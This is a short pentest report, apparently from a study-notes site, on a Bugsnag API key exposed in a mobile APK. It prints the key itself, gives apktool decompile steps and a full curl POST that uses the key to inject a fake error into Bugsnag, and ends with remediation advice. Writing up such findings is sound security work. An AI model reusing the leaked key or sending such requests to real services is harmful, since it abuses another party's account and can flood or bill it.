---
# System prepended metadata

title: Bugsnag Studocu

---

### Pentest Report: Exploitation of Exposed Bugsnag API Key

#### Title:
Exploitation of Exposed Bugsnag API Key in Mobile APK Source Code

#### Description:
The Bugsnag API key (`556a9c32e3473388f4c3013ba249466b`) was found exposed in the `res/values/strings.xml` file of a mobile APK. This key can be used to send error notifications to Bugsnag, potentially leading to unauthorized reporting and cluttering of the error tracking system.

#### Steps to Reproduce:
1. Decompile the APK file using tools like `apktool`.
2. Navigate to the `res/values/strings.xml` file.
3. Locate the line containing the Bugsnag API key:
   ```xml
   <string name="BUGSNAG_API_KEY">556a9c32e3473388f4c3013ba249466b</string>
   ```
4. Use the key to send a test error notification to Bugsnag:
   ```sh
   curl -X POST \
     -H "Content-Type: application/json" \
     --data '{
       "apiKey": "556a9c32e3473388f4c3013ba249466b",
       "notifier": {
         "name": "test-notifier",
         "version": "1.0",
         "url": "https://example.com"
       },
       "events": [{
         "exceptions": [{
           "errorClass": "TestError",
           "message": "This is a test error",
           "stacktrace": [{
             "file": "TestFile.java",
             "lineNumber": 42,
             "method": "testMethod"
           }]
         }],
         "severity": "error",
         "unhandled": true,
         "app": {
           "version": "1.0"
         },
         "device": {
           "osVersion": "10.0"
         }
       }]
     }' \
     https://notify.bugsnag.com
   ```

#### Response:
```
OK
```

#### Business Impact:
The exposure of the Bugsnag API key can lead to several potential business impacts, including:
- Unauthorized error reports being sent to Bugsnag, causing noise in the error tracking system.
- Difficulty in distinguishing between legitimate and illegitimate error reports.
- Potentially exceeding the error reporting limits, leading to additional costs or throttling of the service.
- Exposure to potential denial-of-service attacks by sending a large number of error reports.

#### Recommendations:
1. **Revoke and Regenerate API Key**:
   - Immediately revoke the exposed API key from the Bugsnag dashboard.
   - Generate a new API key and ensure it is not hardcoded in the source code.

2. **Secure Key Management**:
   - Use environment variables or a secure vault service to manage and inject API keys at runtime.
   - Implement a secure build process to avoid embedding sensitive information in the APK.

3. **Regular Security Audits**:
   - Conduct regular security audits and code reviews to ensure no sensitive information is exposed.
   - Use automated tools to scan the codebase for hardcoded secrets before deployment.

4. **Monitor and Alert**:
   - Implement monitoring and alerting to detect any unusual activity or spikes in error reporting.

By following these recommendations, you can mitigate the risk associated with the exposure of the Bugsnag API key and enhance the overall security of your application.